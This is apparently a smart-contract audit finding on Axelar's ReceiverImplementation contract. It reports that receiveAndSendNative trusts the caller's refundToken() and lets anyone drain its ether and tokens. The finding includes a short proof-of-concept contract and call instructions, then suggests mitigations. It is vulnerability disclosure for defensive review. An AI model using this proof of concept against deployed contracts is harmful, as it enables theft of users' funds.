Lines of code
<https://github.com/code-423n4/2022-07-axelar/blob/9c4c44b94cddbd48b9baae30051a4e13cbe39539/contracts/deposit-service/ReceiverImplementation.sol#L51&gt;
<https://github.com/code-423n4/2022-07-axelar/blob/9c4c44b94cddbd48b9baae30051a4e13cbe39539/contracts/deposit-service/ReceiverImplementation.sol#L71&gt;

Vulnerability details

Impact

Anyone can steal the ether or the ReceiverImplementation tokens.

Proof of Concept

As you can see in the receiveAndSendNative method:

    function receiveAndSendNative(
        address payable refundAddress,
        string calldata destinationChain,
        string calldata destinationAddress
    ) external {
        address refund = DepositBase(msg.sender).refundToken();
        if (refund != address(0)) {
            if (address(this).balance > 0) refundAddress.transfer(address(this).balance);
            _safeTransfer(refund, refundAddress, IERC20(refund).balanceOf(address(this)));
            return;
        }

if the sender is a contract like this, the attacker can get any ERC20 token or balance stored in the contract:

pragma solidity =0.8.15;

contract exploit
{
  // Fake DepositBase
  function refundToken () public view returns (address) { 
    return address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);  // Fake token or the expected one (WETH for example)
  }
}

The attacker only need to call with refundAddress= attackerAccount and “” for the other fields.

Recommended Mitigation Steps

• Store the refundAddress or redesign the logic.
• Store DepositBase or redesign the logic.

The text was updated successfully, but these errors were encountered:

All reactions